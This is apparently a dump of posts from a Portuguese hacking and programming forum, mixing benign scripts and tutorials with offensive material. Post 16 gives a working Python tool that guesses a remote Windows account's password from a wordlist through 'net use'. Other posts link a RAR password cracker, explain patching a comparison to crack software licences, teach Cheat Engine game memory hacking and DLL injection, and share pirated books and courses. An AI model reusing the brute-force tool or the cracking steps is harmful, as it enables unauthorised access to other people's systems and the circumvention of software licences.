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  1. Este Macro irá funcionar para qualquer jogo, janela, etc... que estiver utilizando no momento. Ele é um Macro Universal para praticamente Tudo. Apertará qualquer tecla do seu teclado automaticamente, com quantos botões quiser, conforme você configure, com tempo de espera, e tudo mais. ele é Simples. Primeiro você precisa ter o AutoHotKey instalado no seu computador. https://autohotkey.com/download/ Este é o Script : copia e cola em um bloco de notas, salva com qualquer nome com .ahk exemplo Script deste post.ahk ou download do Script : https://www.sendspace.com/file/pfx7li 480 byte não chega nem a 1 KB ; script macro universal ; Jones #NoEnv SetWorkingDir %A_ScriptDir% CoordMode, Mouse, Window SendMode Input #SingleInstance Force SetTitleMatchMode 2 #WinActivateForce SetControlDelay 1 SetWinDelay 0 SetKeyDelay -1 SetMouseDelay -1 SetBatchLines -1 ; UserGlobalVars F11:: Macro1: Loop { WinSet, AlwaysOnTop, Toggle, Current Window_Dx_Window_Class Send, {9} Sleep, 30000 } Return F8::ExitApp F12:: Pause Suspend return No script acima ele funciona assim : Comandos do Script : F11 = Inicia o Script F12 = Pause / Continua F8 = Fecha o Script O que ele Faz? A cada 30 Segundos aperta automaticamente a tecla "9" no teclado. Tempo de Funcionamento? o Script é infinito, ele não Para ate dar Pause ou Fecha-lo. ----------------------------------------------------------------------------------------------------- Agora vamos customizar a forma que você preferir, com os botoes que você quiser que ele aperte, e o tempo que necessitar. F11:: - Aqui voce Muda o botão que dará o "Play" no script, no caso é F11 Macro1: Loop { WinSet, AlwaysOnTop, Toggle, Current Window_Dx_Window_Class Send, {9} - No caso aqui "9" é o botão que o Script vai apetar, você pode alterar para qualquer tecla que quiser Sleep, 30000 - Aqui é o Tempo que levará a apertar novamente o Botão. } Return F8::ExitApp - Aqui você Muda o botão que fechará o Script. F12:: - Aqui o Botão de Pause / Continue o Script. ----------------------------------------------------- Agora Fico facil, para adicionar uma tecla? Send, {Sua Tecla que Quiser Aqui} Exemplo : Send, {9} - Usa Tecla 9 Send, {a} - Usa Tecla A Send, {F1} - Usa Tecla F1 Send, {End} - Usa Tecla End e Assim vai... Tempo de espera para usar novamente a tecla : Aqui a cada 30 segundos usará a hotkey Sleep, 30000 Aqui a cada 20 Segundos Sleep, 20000 aqui a cada 5 segundos Sleep, 5000 Ou seja "1000" é igual a 1 segundo "10000" é igual a 10 segundos e assim vai. Exemplo agora de um código com teclas totalmente diferentes, mas usando a mesma base do postado. ; script macro universal ; Jones #NoEnv SetWorkingDir %A_ScriptDir% CoordMode, Mouse, Window SendMode Input #SingleInstance Force SetTitleMatchMode 2 #WinActivateForce SetControlDelay 1 SetWinDelay 0 SetKeyDelay -1 SetMouseDelay -1 SetBatchLines -1 ; UserGlobalVars F11:: Macro1: Loop { WinSet, AlwaysOnTop, Toggle, Current Window_Dx_Window_Class Send, {Q} Sleep, 8000 Send, {F2} Sleep, 13000 Send, {t} Sleep, 24000 Send, {2} Sleep, 55000 Send, {b} Sleep, 500 } Return F8::ExitApp F12:: Pause Suspend return O que faz o macro acima? Aperta a tecla Q, a cada 8 segundos Aperta a tecla F2 a cada 13 Segundos Aperta a tecla T a cada 24 Segundos aperta a Tecla 2 a cada 55 Segundos Aperta a tecla b a cada Meio segundo ( 500 milésimos)
  2. Introdução à Ciência da Computação com Jogos[bruno Feijó, Esteban Clua e Flávio S. Corrêa da Silva] Aprendendo a programar com entretenimento Mais que apresentar ao aluno uma primeira disciplina de programação de computadores, este livro da série Campus/SBC inova ao trazer um Game Engine exclusivamente desenvolvido para estimular o aluno a programar com o objetivo de desenvolver sua aplicação. Na primeira parte o livro apresenta os conceitos básicos de programação necessários aos alunos de Ciência da Computação, Engenharia de Software e tecnológicos em TIC. Depois é introduzido o conceito de Game Engine e sua utilização. Na última parte o livro guia o aluno no desenvolvimento de seu próprio game. Com este enfoque único a obra conquista os alunos e os motiva a aprender de maneira lúdica. DOWNLOAD [Hidden Content]
  3. Pacote AnomalyDetection – Linguagem R Pacote AnomalyDetection – Linguagem R AnomalyDetection é um pacote de R open-source para detectar anomalias a partir de um ponto de vista estatístico, na presença de sazonalidade e uma tendência subjacente. O pacote AnomalyDetection pode ser usado em grande variedade de contextos. Por exemplo, a detecção de anomalias em métricas do sistema após uma nova versão de software, o envolvimento do usuário postar um teste A / B, ou por problemas na econometria, engenharia financeira, política e ciências sociais. How the package works The underlying algorithm – referred to as Seasonal Hybrid ESD (S-H-ESD) builds upon the Generalized ESD test for detecting anomalies. Note that S-H-ESD can be used to detect both global as well as local anomalies. This is achieved by employing time series decomposition and using robust statistical metrics, viz., median together with ESD. In addition, for long time series (say, 6 months of minutely data), the algorithm employs piecewise approximation – this is rooted to the fact that trend extraction in the presence of anomalies in non-trivial – for anomaly detection. Besides time series, the package can also be used to detect anomalies in a vector of numerical values. We have found this very useful as many times the corresponding timestamps are not available. The package provides rich visualization support. The user can specify the direction of anomalies, the window of interest (such as last day, last hour), enable/disable piecewise approximation; additionally, the x- and y-axis are annotated in a way to assist visual data analysis. How to get started Install the R package using the following commands on the R console: install.packages("devtools") devtools::install_github("twitter/AnomalyDetection") library(AnomalyDetection) The function AnomalyDetectionTs is called to detect one or more statistically significant anomalies in the input time series. The documentation of the function AnomalyDetectionTs, which can be seen by using the following command, details the input arguments and the output of the function AnomalyDetectionTs. help(AnomalyDetectionTs) The function AnomalyDetectionVec is called to detect one or more statistically significant anomalies in a vector of observations. The documentation of the function AnomalyDetectionVec, which can be seen by using the following command, details the input arguments and the output of the function AnomalyDetectionVec. help(AnomalyDetectionVec) A simple example To get started, the user is recommended to use the example dataset which comes with the packages. Execute the following commands: data(raw_data) res = AnomalyDetectionTs(raw_data, max_anoms=0.02, direction='both', plot=TRUE) res$plot From the plot, we observe that the input time series experiences both positive and negative anomalies. Furthermore, many of the anomalies in the time series are local anomalies within the bounds of the time series’ seasonality (hence, cannot be detected using the traditional approaches). The anomalies detected using the proposed technique are annotated on the plot. In case the timestamps for the plot above were not available, anomaly detection could then carried out using the AnomalyDetectionVec function; specifically, one can use the following command: AnomalyDetectionVec(raw_data[,2], max_anoms=0.02, period=1440, direction='both', only_last=FALSE, plot=TRUE) Often, anomaly detection is carried out on a periodic basis. For instance, at times, one may be interested in determining whether there was any anomaly yesterday. To this end, we support a flag only_last whereby one can subset the anomalies that occurred during the last day or last hour. Execute the following command: res = AnomalyDetectionTs(raw_data, max_anoms=0.02, direction='both', only_last=”day”, plot=TRUE) res$plot From the plot, we observe that only the anomalies that occurred during the last day have been annotated. Further, the prior six days are included to expose the seasonal nature of the time series but are put in the background as the window of prime interest is the last day. Anomaly detection for long duration time series can be carried out by setting the longterm argument to T. Copyright and License Copyright 2015 Twitter, Inc and other contributors Licensed under the GPLv3 Link: https://github.com/twitter/AnomalyDetection
  4. Pascal é uma linguagem de programação estruturada, que recebeu este nome em homenagem ao matemático e físico Blaise Pascal. Foi criada em 1970 pelo suíço Niklaus Wirth,[2] tendo em mente encorajar o uso de código estruturado. O próprio Niklaus Wirth diz que a linguagem Pascal foi criada simultaneamente para ensinar programação estruturada e para ser utilizada na sua fábrica de software. Simultaneamente, a linguagem reflete a libertação pessoal de Wirth das restrições impostas após seu envolvimento com a especificação de ALGOL 68, e sua sugestão para essa especificação, o ALGOL W. Pascal originou uma enorme gama de dialetos, podendo também ser considerada uma família de linguagens de programação. Grande parte de seu sucesso se deve a criação, na década de 1980, da linguagem Turbo Pascal, inicialmente disponível para computadores baseados na arquitetura 8086 (com versões para 8080 no seu início). Pascal é normalmente uma das linguagens de escolha para ensinar programação, junto com Scheme, C e Fortran. Comercialmente, a linguagem foi sucedida pela criação da linguagem Object Pascal, atualmente utilizada nos IDEs Embarcadero Delphi (Object Pascal), Kylix e Lazarus. Academicamente, seus sucessores são as linguagens subsequentes de Niklaus Wirth: Modula-2[3] e Oberon. A partir da versão 2005, o Delphi passou a se referir a sua linguagem de programação como Delphi Language. Assim como a linguagem C, que foi padronizado pela ANSI (ANSI C), o Pascal possui padrões pela ISO, como o Pascal Standard e o Advanced Pascal. DOWNLOAD [Hidden Content] Download Compilador Pascalzim Download Compilador Turbo Pascal
  5. THE DEFINITIVE ETHICAL HACKING COURSE – LEARN FROM SCRATCH The Definitive Ethical Hacking Course – Learn From Scratch Learn the Basics Of Penetration Testing, Wifi Hacking and Ethical Hacking With Kali Linux You are about to be introduced to one of the most powerful penetration testing platforms in the world. Kali Linux Kali Linux is one of the most versatile penetration testing platforms favored by ethical hackers. This course will introduce you to Kali Linux and explain step by step how to install Kali Linux in a virtual environment on a Windows 10 machine. You will learn how to install Kali Linux, set up the root username and password, install VirtualBox guest additions, Linux kernels and much more! All videos are recorded in HD quality and you will be able to follow along as the lessons are spoken in clear English. You will also be introduced to Nmap and how to use it for security scanning, port scanning and network exploration. The videos will also guide you on how to install a wireless card within the virtual environment so you can scan wireless networks and devices and take advantage of many of the wireless security tools available in the Kali Linux environment. You will also learn how hackers use Malware to infect a victim’s computer. In addition, you will also be introduced to Python and how to use it for ethical hacking purposes. Take this course today and start your Ethical Hacking journey now! What are the requirements? Fast and Reliable Internet Connection Wireless Card What am I going to get from this course? Install Kali Linux in a Windows 10 Environment Understand Step By Step Instructions of Enabling Wireless Hacking in Kali Linux Understand the Use of NMAP for Security Scanning and Network Exploring What is the target audience? Anyone Wanting To Learn How To Set Up a Proper Ethical Hacking Environment Anyone Wanting To Learn The Basics of Ethical Hacking DOWNLOAD [spoiler=Servidor de Download : Depositfiles (8 partes de 510mb +/-)] https://depositfiles.com/files/a9vtft036 https://depositfiles.com/files/e0lrdbgyk https://depositfiles.com/files/g70qmu9te https://depositfiles.com/files/lk71g52wx https://depositfiles.com/files/w2v5zyijb https://depositfiles.com/files/iv8wa1o3h https://depositfiles.com/files/hnos4ni9q https://depositfiles.com/files/t9ta82sj1
  6. Baixe a serie de livros (em ingles) sobre Hack em para suas diversas plataformas como Mobile, Wirelles, Windows Server entre outros. DOWNLOAD [HIDE-THANKS] http://www.mediafire.com/file/44g04tzdhom6ei6/Serie+Livros+Hacking+Exposed.rar [/HIDE-THANKS]
  7. Fala ai pessoal! É isso mesmo, 94 livros da Casado Codigo, entre outros, em portugues para voce se aperfeiçoar na programação. Tem de tudo, Ruby, SQL, Scrum, Android, HTML etc... No link voce pode baixar somente o do seu interesse, ou pode selecionar tudo pra ter guardado na sua casa. DOWNLOAD [HIDE-THANKS] https://onedrive.live.com/?authkey=!ANifr7INuSn1vCw&id=FD81E0F95D53E872!117210&cid=FD81E0F95D53E872 [/HIDE-THANKS]
  8. You don’t need to be a wizard to transform a game you like into a game you love. Imagine if you could give your favorite PC game a more informative heads-up display or instantly collect all that loot from your latest epic battle. Bring your knowledge of Windows-based development and memory management, and Game Hacking will teach you what you need to become a true game hacker. Learn the basics, like reverse engineering, assembly code analysis, programmatic memory manipulation, and code injection, and hone your new skills with hands-on example code and practice binaries. Level up as you learn how to: Scan and modify memory with Cheat Engine Explore program structure and execution flow with OllyDbg Log processes and pinpoint useful data files with Process Monitor Manipulate control flow through NOPing, hooking, and more Locate and dissect common game memory structures You’ll even discover the secrets behind common game bots, including: Extrasensory perception hacks, such as wallhacks and heads-up displays Responsive hacks, such as autohealers and combo bots Bots with artificial intelligence, such as cave walkers and automatic looters Game hacking might seem like black magic, but it doesn’t have to be. Once you understand how bots are made, you’ll be better positioned to defend against them in your own games. Journey through the inner workings of PC games with Game Hacking, and leave with a deeper understanding of both game design and computer security. [spoiler=Tradução Google] Você não precisa ser um assistente para transformar um jogo que você gosta em um jogo que você ama. Imagine se você poderia dar ao seu jogo de PC favorito um visor heads-up mais informativo ou instantaneamente coletar todo esse saque da sua mais recente batalha épica. Traga seu conhecimento do desenvolvimento baseado em Windows e gerenciamento de memória, e Game Hacking irá ensinar-lhe o que você precisa para se tornar um verdadeiro hacker do jogo. Aprenda o básico, como engenharia reversa, análise de código de montagem, manipulação de memória programática e injeção de código, e aprimore suas novas habilidades com o código de exemplo prático e pratique binários. Nivele-se conforme você aprende como: Digitalize e modifique a memória com Cheat Engine Explore a estrutura do programa e o fluxo de execução com OllyDbg Processos de log e identificar arquivos de dados úteis com o Process Monitor Manipule o fluxo de controle através de NOPing, hooking e mais Localizar e dissecar estruturas comuns de memória de jogos Você até descobrirá os segredos por trás dos jogos comuns, incluindo: Hacks de percepção extra-sensorial, como wallhacks e displays heads-up Hacks responsivos, como auto-curvadores e combo bots Bots com inteligência artificial, como caminhantes nas cavernas e saqueadores automáticos O hacking do jogo pode parecer magia negra, mas não precisa ser. Depois de entender como os bots são feitos, você estará melhor posicionado para se defender contra eles em seus próprios jogos. Viaje através do funcionamento interno dos jogos de PC com Game Hacking e deixe com uma compreensão mais profunda do design do jogo e da segurança do computador. [Hidden Content]
  9. Me pediram, então farei uma série de tutoriais sobre o funcionamento do cheat engine. Começarei com uma série de perguntas e respostas que eu tive quando era um iniciante. Onde eu encontro o Cheat Engine e qual versão eu baixo? Você pode baixar o cheat engine pelo site deles, CheatEngine.org. É sempre recomendável baixar a última versão, nesse caso, a 6.4. É ilegal usar o cheat engine? Absolutamente não! Para que serve o cheat engine? Quando iniciamos um jogo, ele cria varáveis para armazenar nossos dados de jogador, como vida, munição, posição em relação ao mapa e outras informações. Essas variáveis podem ficar salvas na memória RAM do nosso computador, ou no servidor do jogo. Se ficar no servidor, não podemos alterar, mas na memória RAM podemos. Hackear não passa de alterar ou ler essas variáveis. Mas para fazermos isso, precisamos do endereço delas. E é ai que entra o Cheat Engine! É difícil usá-lo? Usar o programa não. Mas alguns jogos são bem difíceis de encontrar o que buscamos. Usá-lo pode causar o banimento em jogos? Se você acoplar o cheat engine em jogos jogando apenas com bots, não há problemas. Acoplar o cheat engine enquanto joga online, pode ser perigoso. Aconselho à todos pesquisarem na internet por possíveis banimentos causados por ele.
  10. Windows XP [v] Windows 7 [v] Windows 8 [v] Windows 8.1 [v] Windows 10 [v] Imagem do Funcionamento das funções em CE no Jogo Funções ativadas no Cheat Engine Obs: Boa noite a todos vocês amigos, bom hoje eu resolvi compartilhar uma source em CE para vocês com bastante funções para o game call of duity 4 modo zumbi, como eu ja tinha postando um trainer na area de criação, eu resolvi compartilhar tbm uma source CE para quem sabe o basico da linguagem vb.net ou delphi7 ou até mesmo c++ saberá como criar suas proprias funções tanto faz para trainer ou menu em c++, nessa source em CE tem varios address.. SoftwareS srDIEGO Scan da Source
  11. OBS: SE NÃO VIU OS POSTS PASSADOS, POR FAVOR, LEIA! CASO CONTRÁRIO, SERÁ DIFÍCIL PARA VOCÊ ENTENDER! 1° Abra o jogo e o cheat engine. Crie também, um bloco de notas, para anotarmos os offsets. 2° Clique em abrir processo e escolha "ac_client.exe" 3° Vamos começar procurando pela variável que armazena o valor da vida! Procuramos por "100", porque é o valor inicial da vida. Usamos 4 bytes porque uma variável do tipo int ocupa 4 bytes de memória. Sabemos que é uma int porque o valor da vida é inteiro e positivo! Clique em "First Scan". Serão encontrados muitos valores! 4° Procure granadas e tire vida de você mesmo! Cuidado para não morrer!!! Pegue o valor da sua vida atual, e pesquise por ela usando o "Next Scan". 5° Você encontrará 2 valores. Clique com o botão esquerdo duas vezes em cada um. Agora você pode editá-los. Clique duas vezes em valor e edite o primeiro. Se o valor não se alterar no segundo, tente o próximo. Altere o valor, se o valor for alterado no jogo, estamos prontos para continuar! 6° Clique com o botão direito no endereço que funcionou e clique em "Find out what access this adress"! Jogue mais uma granada, novamente cuidado para não morrer. Você verá algo parecido com isso: 7° Nessa tabela, irá ter dois valores que aumentam sem parar e após o dano de granada, terá uma linha assim: 1 0042CA5E - 89 82 F8000000 - mov [edx+000000F8],eax Bom, o que nos interessa é "edx+000000f8" Clique com o botão esquerdo duas vezes sobre o endereço. Verá algo assim: Copie o valor de edx. No meu caso é: 0271A498, mas o de vocês será diferente! O offset como vimos é f8 (os zeros antes podem ser ignorados!). Anote f8 no bloco de notas que você abriu, esse é o primeiro offset! 8° Ainda no cheat engine, clique em "New Scan" e marque a opção Hex. Cole o endereço do edx que copiamos no passo anterior! Clique em "First Scan" e escaneie! Encontramos novamente, vários endereços. Só que dessa vez, com 3 em verde. Pode ser qualquer um desses três! Clique em "Add Adress Manually" e selecione "pointer". Siga a imagem! Agora, se ele apontar para o valor correto da vida, no meu caso 133, então encontramos o endereço estático e offset. Endereço estático: 00509b74 Offset: F8
  12. Como eu disse no meu primeiro post sobre cheat engine, hackear não passa de alterar o valor de variáveis. Essas variáveis podem estar localizadas em dois locais. Memória RAM ou no servidor (em caso de jogos online). Isso varia de jogo em jogo. Se elas forem armazenadas na RAM, você pode editá-las, se forem no servidor, um abraço. Geralmente são mistas, vou dar alguns exemplos: Counter-Strike vida e munição -> servidor posição dos jogadores -> RAM League of Legends Tudo no servidor AssaultCube Tudo na RAM Como funcionam os endereços: Quando abrimos um programa, ele busca um bom espaço na memória RAM para guardar seus dados. Só que eles não ficam espalhados por ai. Então o programa escolhe um valor pré definido e soma à ele offsets. Offsets são distâncias entre o endereço estático e o próximo endereço dinâmico. Alguns jogos usam mais de 5 endereços dinâmicos para chegar no endereço estático. O endereço estático + as offsets, resultam no endereço atual que está sendo usado pelo programa. Veja no próximo post, como encontrar os endereços!
  13. Ao abrir o cheat engine, se depararão com isso: Clique nesse botão para abrir um processo. Depois de abrir qualquer processo, verá o cheat engine assim: Agora vou explicar botão por botão: 1 - Abre um processo 2 - Abre uma tabela 3 - Salva a tabela atual 1 - É aqui que ficarão os endereços encontrados. Na coluna "Adress" ficarão os endereços. Falarei mais deles em outro post. 2 - Esse botão passa os endereços selecionados para nossa tabela, lá podemos editar propriedades dos endereços. 3 - Apaga os endereços selecionados 1 - Os endereços que passamos para nossa tabela estão aqui, e é aqui que podemos editá-los. 2 - Como já disse, podemos acrescentar um endereço da lista de endereços, mas esse botão nos permite criar um endereço usando offsets, aprenderemos sobre isso em outro post! 1 - Faremos pesquisas por aqui 2 - Para encontrarmos o endereço certo, precisamos alterar o valor durante o jogo e clicar em Next Scan, dessa forma ele só pesquisa por endereços que estão naquela lista. 3 - Muitas vezes precisaremos procurar por valores em hexadecimal, pra isso que serve essa opção 4 - Aqui escolheremos o tipo de pesquisa que faremos 5 - Aqui escolhemos o tipo de variável que estamos procurando Farei um post mais avançado em breve!
  14. Tentei criar meu próprio script pra quebra de senhas de arquivos RAR e basicamente qualquer outro algoritmo que o winrar suporte pra utiliza-lo vc precisa ter o winrar instalado no seu computador, o script foi feito com foco no windows, então pra usar no linux ou algum outro sistema, tem que dar uma adaptada O uso do script é bem simples, basta informar a wordlist e em seguida informar o arquivo que será quebrado Em relação ao desempenho, ainda pretendo melhorar um pouco o script com o uso de threads, mas fora isso o tempo de quebra vai depender basicamente da qualidade da wordlist e do poder de processamento do seu computador Source = https://github.com/expl01t3r/diego/blob/master/rarbreak.py
  15. Oi. O script que vou postar, funciona para AutoIT3 e ele faz download automáticos de algum arquivo que seja definido Eu criei ele com intuito de baixar atualizações de um servidor porém pode ser utilizado pra qualquer outra coisa caso seja editado. Download do script: Simple File Sharing and Storage. Scan: https://www.virustotal.com/pt/file/e63527e763709d1f49197481589daa79f840c03d35441fb1d6e5bb2632f18753/analysis/1437177824/ Código: Preview:
  16. Vim postar a versão beta mesmo, pois talvez ainda assim possa ser útil pra alguém Objetivo da ferramenta: Descobrir a senha do windows de forma remota, com auxilio de uma wordlist Complicações da versão beta: Lentidão, pois não foi possível implementar threads, porque como usei o net use pra autenticação remota, uma autenticação acabou entrando em conflito com a outra, ocasionando resultados diferentes em testes nas mesmas condições Objetivo da versão final: Deixar de usar o net use pra autenticar no sistema remoto, possivelmente vou usar o psexec Mas se alguém quiser pegar essa parte e ir implementando tbm, fique a vontade import subprocess, os, sys print(''' __ ___ ______ ______ \ \ / (_)_ __ | _ \ \ / / _ \ \ \ /\ / /| | '_ \ | |_) \ \ /\ / /| | | | \ V V / | | | | | | __/ \ V V / | |_| | \_/\_/ |_|_| |_| |_| \_/\_/ |____/ Descobrir a senha do Windows Remotamente by: EXPL01T3R ''') alvo = input('Alvo: ') user = input('Usuário Válido: ') opcode = 0 contador = 0 try: wl = open(input('Wordlist: ')) except: print('Wordlist inválida') exit(1) def progress(): sys.stdout.write("\r") sys.stdout.write('Tentando senha: {senha}' .format(senha = str(senha).rstrip())) os.system('cls') for senha in wl: progress() subprocess.getstatusoutput('net use \\\\{alvo} /delete' .format( alvo = alvo)) code = subprocess.getstatusoutput('net use \\\\{alvo} /user:{user} {senha}' .format( alvo = alvo, user = user, senha = senha)) if (code[0] == 0) or (code[1] == 'Erro de sistema 5.\n\nAcesso negado.\n'): print(''' *****ed!! Alvo: {alvo} Usuário: {user} Senha: {senha} Tentativas: {cnt} {xD}''' .format(alvo = alvo, user = user, senha = senha, xD = ('-'*30), cnt = contador)) opcode = 1 break contador += 1 wl.close() if opcode == 0: print('\n\nValor não encontrado, tente com uma wordlist mais completa ;)\nNumero de tentativas executadas: {cnt}' .format(cnt = contador)) else: print('Finalizado') ~le print modafoca
  17. Neste tutorial vou explicar a lógica de um C.rack. A principio é necessário entender que um C.rack serve para "autenticar" um programa sem utilizar uma chave "real". E, geralmente, o teste que o programa usar para verificar se a chave é compatível ou não é através do comando em assembly: CMP value1,value2 que significa: compare value1 com value2. que pode resultar em 3 tipos de relações: maior,menor ou igual. (Desconsiderando a negação delas.)[Não são as únicas, porém, por ora, é o suficiente.] Nos programas mais simples o mais comum será esse método: 0x00000 CMP value1,value2; Aqui compara duas variáveis ou registros.. 0x00005 JE 0x0x0000A ; Jump Equal em tradução livre: 'Pule se igual' e o endereço para ele 'pular' 0x0000A CALL 0xFFFFFFFFF ; Call em tradução livre significa 'Chame' e o endereço que ele chama. Geralmente usado para chamar funções. // Os Address/Endereços são fictícios. Como base no código acima, basta alterar a segunda variável do CMP, para value1: 0x00000 CMP value1,value1; como value1 é sempre igual a value1 0x00005 JE 0x0x0000A ; para qualquer valor de value1 JE será usado, 0x0000A CALL 0xFFFFFFFFF ; e , portanto, chamará a função. Vídeo tutorial: [video=youtube;5AiEuTvFINQ] Feito isso, basta apenas salvar as alterações do programa, seguindo os seguintes passos: 1 Passo: 2 Passo: 3 Passo: 4 Passo: 5 Passo: Download do arquivo utilizado para C.rakear: To C.rack
  18. Quando for postar algum hack para combat arms ou outro game, tanbem deixe a opção apenas da dll, pois muito são windowns 8, 8.1 e o windows acaba bloquiando algum arquivo ou coisa parecida, e acaba não funcionando o hack, no meu caso só uso a dll, e uso um injetor, intão é bom deixar uma opçao pra quem proculra apenas dll do hacke, obrigado.
  19. Muitos acham que o bloco de notas so serve para anotar as coisas para depois não esquecer está enganado ! vou mostrar que está enganado Aconselho a escrever os códigos para lembrar facilmente Bom neste caso iremos usar o formato .BAT O echo e o que irá aparecer durante o uso de sua calculadora Title como diz o nome é o Titulo de sua calculadora que pode ser alterada quando quiser @echo off title Programa que faz calculos (pode mudar para qualquer outra palavra) :inicio cls echo Digite o numero correspondente ao calculo que voce quer fazer echo. echo. echo 1-Adicao echo 2-Subtracao echo 3-Multiplicacao echo 4-Divisao echo. set /p calculo= if %calculo%==1 goto adicao if %calculo%==2 goto subtracao if %calculo%==3 goto multiplicar if %calculo%==4 goto dividir :adicao cls echo Digite o primeiro numero que voce quer somar set /p n1= cls echo Digite o segundo numero set /p n2= cls set /a n3=%n1%+%n2% echo %n1%+%n2%=%n3% pause cls echo O que deseja fazer? echo . echo . echo V-Voltar ao menu echo S-sair do programa set /p opcao= if %opcao%==v goto inicio if %opcao%==s exit :subtracao cls echo Digite o primeiro numero que voce quer subtrair set /p nn1= cls echo Digite o segundo numero set /p nn2= cls set /a nn3=%nn1%-%nn2% echo %nn1%-%nn2%=%nn3% pause cls echo O que deseja fazer? echo . echo . echo V-Voltar ao menu echo S-sair do programa set /p opcao1= if %opcao1%==v goto inicio if %opcao1%==s exit :multiplicar cls echo Digite o primeiro numero que voce quer Multiplicar set /p n1= cls echo Digite o segundo numero set /p n2= cls set /a n3=%n1%*%n2% echo %n1%X%n2%=%n3% pause cls echo O que deseja fazer? echo . echo . echo V-Voltar ao menu echo S-sair do programa set /p opcao= if %opcao%==v goto inicio if %opcao%==s exit :dividir cls echo Que numero voce deseja dividir set /p n1= cls echo Por quanto voce deseja dividir set /p n2= cls set /a n3=%n1%/%n2% echo %n1%:%n2%=%n3% pause cls echo O que deseja fazer? echo . echo . echo V-Voltar ao menu echo S-sair do programa set /p opcao= if %opcao%==v goto inicio if %opcao%==s exit Salve em (.bat) exemplo [calculadora.bat]
  20. Bom, basicamente esse código feito em python 3.4 tem 2 funcionalidades principais 1° exibir a cotação atual do dolar e do euro 2° converter moedas, dolar pra euro/real, real pra euro/dolar, euro pra dolar/real Diferentemente de alguns scripts do tipo, esse não tem a necessidade de inserir a cotação atual da moeda que vc quer converter, ele busca os dados por uma API import json from urllib import request url = request.urlopen('http://developers.agenciaideias.com.br/cotacoes/json').read() jsn = json.loads(url.decode('utf-8')) dolarcot = float(jsn['dolar']['cotacao']) eurocot = float(jsn['euro']['cotacao']) escolha = input(''' [*]Menu: -------- 1 - Valores atuais(Dolar, Euro) 2 - Conversor ------------------------------- Escolha: ''') if escolha == '1': print(''' ======================= [+]Dolar -------- Cotação: R${dolarcot:.2f} Variação: {dolarvar} ======================= [+]Euro ------- Cotação: R${eurocot:.2f} Variação: {eurovar} ======================= Cotação: {att} =======================''' .format(dolarcot = dolarcot, dolarvar = jsn['dolar']['variacao'], eurocot = eurocot, eurovar = jsn['euro']['variacao'], att = jsn['atualizacao'])) elif escolha == '2': moeda = float(input('''======================= [+]Valor a ser convertido: ''')) op = input('''================================ [*]Tipo de moeda base para a conversão: --------------------------------------- 1 - Dolar 2 - Euro 3 - Real --------- Escolha: ''') if op == '1': print('''======================= Convertendo de Dolar para Euro e Real ------------------------------------- Valor inserido em Dolar: US$:{dvalue:.2f} Valor convertido para Euro: €:{evalue:.2f} Valor convertido para Real: R$:{rvalue:.2f} Taxa de erro: 0.4% +- ''' . format(dvalue = moeda, evalue =((moeda*dolarcot) / eurocot), rvalue = (moeda * dolarcot))) elif op == '2': print('''======================= Convertendo de Euro para Dolar e Real ------------------------------------- Valor inserido em Euro: €:{evalue:.2f} Valor convertido para Dolar: US$:{dvalue:.2f} Valor convertido para Real: R$:{rvalue:.2f} Taxa de erro: 0.4% +- ''' . format(evalue = moeda, dvalue =((moeda*eurocot) / dolarcot), rvalue = (moeda * eurocot))) elif op == '3': print('''======================= Convertendo de Real para Dolar e Euro ------------------------------------- Valor inserido em Real: €:{rvalue:.2f} Valor convertido para Dolar: US$:{dvalue:.2f} Valor convertido para Euro: R$:{evalue:.2f} Taxa de erro: 0.4% +- ''' . format(rvalue = moeda, dvalue = (moeda/dolarcot), evalue = (moeda / eurocot))) Code no pastebin: [Python] Cotação dolar/euro/real - Pastebin.com
  21. Introdução PL/SQL Bom, hoje mesmo iniciei meus estudos em PL/SQL. Achei interessante por ser programação para banco de dados.. Eu mesmo não fazia ideia (até antes de entrar na faculdade) que existia isso.. Sobre Estrutura [color="#000000"][b]DECLARE - Opcional[/b] Variáveis, cursores, exceções definidas pelo usuario [b]BEGIN - Obrigatório[/b] - Instruções SQL - Instruções PL/SQL [b]EXCEPTION - Opcional[/b] Ações a serem desempenhadas quando ocorrem erros. [b]END; - Obrigatório[/b][/color] Caracteres especiais ; Ponto e vírgula: fim de comando % Percentagem: indicador de atributo : Dois pontos: indicador de variável host ** Asterisco duplo: operador exponencial <> e != Operador diferente || Operador de concatenação << e >> Delimitador de rótulo (label) := Operador de atribuição => Operador de associação para notação posicional -- Indicador de comentário /* e */ Início e final de um bloco de comentário Vamos à um exemplo prático que hoje mesmo realizei em sala de aula.. Lembrando que para aparecer a mensagem no "console" do Oracle, é necessario o set serveroutput on. [color="#000000"]set serveroutput on declare v_idade number := 19; v_nome varchar2(50); begin v_nome := 'Guilherme'; dbms_output.put_line('Meu nome é ' || v_nome || ' e tenho ' || v_idade || ' anos'); end;[/color] Declaramos as 2 variaveis (v_idade e v_nome). Em v_idade, atribuimos já um valor (19) e em v_nome, apenas adicionamos o tipo, que no caso é um varchar2 com tamanho máximo de 50. Adicionamos um valor em v_nome (no caso meu nome) e abaixo, printamos o resultado, atraves do dbms_output.put_line(""); Porem, a mensagem só aparecerá se você adicionar o set serveroutput on. Qualquer dúvida pode postar, ou complementos, também estarei adicionando ao tópico. Lembrando que sou novato, iniciei meus estudos hoje! Abraços Instalando o Oracle Créditos FIAP
  22. Eu queria saber como que eu faço pra redirecionar paginas, tipo achar o arquivo que ta na pasta (Program /Na minha áre de trabalho) sem eu colocar o caminho.. Exemplo: <a href="Achar_pasta/pagina.html"> Alguém podia me ajudar com essa tag?
  23. VIEWS Bom, voltei essa semana para a facul, e tive uma aulinha sobre VIEWS. Achei bem interessante e resolvi criar um tópico para explicar rapidamente como funciona. Views nada mais é que uma forma de comprimir seu select, resumidamente falando. Quais as vantagens? Segurança (pois você pode dar permissões de acesso para suas views), agilidade/facilidade, e organização. Esse é o meu ver sobre Views. Porém vou deixar uma referência com mais detalhes abaixo. ~ CREATE VIEW ~ Bom, primeiramente, vou deixar o link de 2 entidades a serem criadas no final do tópico, para você poder seguir os passos do tutorial. No caso são: LOC_FUNCIONARIO e LOC_DEPTO (departamento). Nesse exemplo vamos encapsular um select dentro da view. O select será simples! Vamos exibir um rank de soma de salarios, dos departamentos. Seria um top 5. Para isso, vamos usar o rownum. Porém, para usar o rownum, temos que criar uma subquery.. Veja como ficará SELECT * FROM ( SELECT D.NM_DEPTO, sum(F.VL_SALARIO) Total FROM LOC_FUNCIONARIO F, LOC_DEPTO D WHERE F.CD_DEPTO = D.CD_DEPTO GROUP BY D.NM_DEPTO ORDER BY Total desc) WHERE ROWNUM <6 Não usei joins nesse exemplo, podem usar se quiser. Veja que usei um group by, pois fiz o sum do 